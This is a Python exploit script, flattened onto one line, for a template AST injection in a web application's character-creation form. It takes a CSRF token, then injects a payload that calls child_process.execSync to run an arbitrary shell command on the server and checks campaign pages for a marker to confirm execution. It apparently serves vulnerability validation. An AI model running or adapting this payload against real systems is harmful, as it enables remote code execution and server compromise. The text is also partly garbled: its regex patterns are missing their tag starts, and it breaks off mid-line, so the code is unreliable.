#!/usr/bin/env python3 import argparse import html import json import os import re import sys from typing import Any import requests import secrets MARKER = f"DZAST_OK_{secrets.token_hex(8)}" def extract_csrf(page: str) -> str: patterns = [ r']*name=["\']_csrf["\'][^>]*value=["\']([^"\']+)', r']*value=["\']([^"\']+)["\'][^>]*name=["\']_csrf["\']', ] for pattern in patterns: match = re.search(pattern, page, re.I) if match: return html.unescape(match.group(1)) raise RuntimeError("Could not find _csrf token in /character/new") def fetch_csrf(session: requests.Session, base: str) -> str: response = session.get( f"{base}/character/new", timeout=10, ) response.raise_for_status() if "/login" in response.url: raise RuntimeError("Session appears unauthenticated") return extract_csrf(response.text) def injection_value(command: str) -> str: # json.dumps creates a safely quoted JavaScript string literal. wrapped_command = f"printf '{MARKER}\\n'; {command}" js_command = json.dumps(wrapped_command) return ( "{},{})) + " "process.mainModule.require('child_process')" f".execSync({js_command}).toString() //" ) def json_ast(command: str) -> dict[str, Any]: """AST matching the public exploit.py structure.""" return { "type": "Program", "body": [ { "type": "MustacheStatement", "path": { "type": "PathExpression", "data": False, "depth": 0, "parts": ["lookup"], "original": "lookup", "loc": None, }, "params": [ { "type": "PathExpression", "data": False, "depth": 0, "parts": [], "original": "this", "loc": None, }, { "type": "NumberLiteral", "value": injection_value(command), "original": 1, "loc": None, }, ], "escaped": True, "strip": {"open": False, "close": False}, "loc": None, } ], "strip": {}, "loc": None, } def form_ast(command: str) -> dict[str, Any]: """ Reduced AST for bracket-form encoding. URL-encoded parsers normally return scalar values as strings, so optional false/null properties are omitted. """ return { "type": "Program", "body": [ { "type": "MustacheStatement", "path": { "type": "PathExpression", "parts": ["lookup"], "original": "lookup", }, "params": [ { "type": "NumberLiteral", "value": "0", "original": "0", }, { "type": "NumberLiteral", "value": injection_value(command), "original": "1", }, ], "escaped": "true", } ], } def flatten_form(prefix: str, value: Any) -> list[tuple[str, str]]: """Convert an object to qs/Express bracket notation.""" output: list[tuple[str, str]] = [] if isinstance(value, dict): for key, child in value.items(): output.extend(flatten_form(f"{prefix}[{key}]", child)) elif isinstance(value, list): for index, child in enumerate(value): output.extend(flatten_form(f"{prefix}[{index}]", child)) elif value is None: output.append((prefix, "")) elif isinstance(value, bool): output.append((prefix, "true" if value else "false")) else: output.append((prefix, str(value))) return output def common_fields(csrf: str, campaign_id: int) -> dict[str, str]: return { "_csrf": csrf, "name": "astpoc", "race": "human", "class": "tester", "backstory": "AST validation", "campaign_id": str(campaign_id), } def print_response(label: str, response: requests.Response) -> None: location = response.headers.get("Location", "-") print(f"[{label}] HTTP {response.status_code}, Location: {location}") if response.status_code >= 400: compact = re.sub(r"\s+", " ", response.text) print(f"[{label}] Body: {compact[:400]}") def find_result( session: requests.Session, base: str, campaign_id: int, post_response: requests.Response, ) -> bool: # Some implementations may return the rendered value immediately. if MARKER in post_response.text: print("[+] Marker appeared directly in the POST response") print(post_response.text) return True response = session.get( f"{base}/campaign/{campaign_id}", timeout=10, ) response.raise_for_status() if MARKER not in response.text: return False messages = re.findall( r'